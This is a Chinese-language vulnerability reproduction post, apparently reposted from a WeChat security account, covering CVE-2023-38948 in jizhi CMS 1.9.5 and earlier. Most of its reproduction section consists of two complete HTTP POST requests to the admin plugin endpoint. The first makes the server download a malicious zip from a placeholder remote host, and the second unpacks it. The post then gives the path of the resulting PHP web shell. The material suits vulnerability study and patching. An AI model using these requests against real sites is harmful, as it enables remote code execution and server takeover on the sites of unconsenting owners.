简介
极致CMS是一款开源免费，无商业授权的建站系统。
漏洞描述
jizhi CMS 1.9.5 的 /c/PluginsController.php 组件中存在任意文件下载漏洞，允许攻击者通过下载精心设计的插件来执行任意代码。
影响版本
jizhi CMS ≤ 1.9.5
漏洞复现
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远程下载恶意的插件包（首先构建好php文件并打包成zip）
POST /admin.php/Plugins/update.html HTTP/1.1Host: 127.0.0.1Content-Length: 86Accept: application/json, text/javascript, /; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Referer: http://127.0.0.1/admin.php/Plugins/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09Connection: closeaction=start-download&filepath=jzdesign&download_url=http://xxx.xxx.xxx/phpshell.zip
2.解压恶意插件包，filepath必须与步骤1相对应
POST /admin.php/Plugins/update.html HTTP/1.1Host: 127.0.0.1Content-Length: 32Accept: application/json, text/javascript, /; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Referer: http://127.0.0.1/admin.php/Plugins/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09Connection: closeaction=file-upzip&filepath=jzdesign
3.shell地址：http://xxx.xxx.xxx/A/exts/phpshell.php
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-38948https://gitee.com/CTF-hacker/pwn/issues/I7LI4Ehttps://www.jizhicms.cn/
仅供学习交流，勿用作违法犯罪！！！
原文始发于微信公众号（不够安全）：CVE-2023-38948：极致CMS后台远程文件下载RCE
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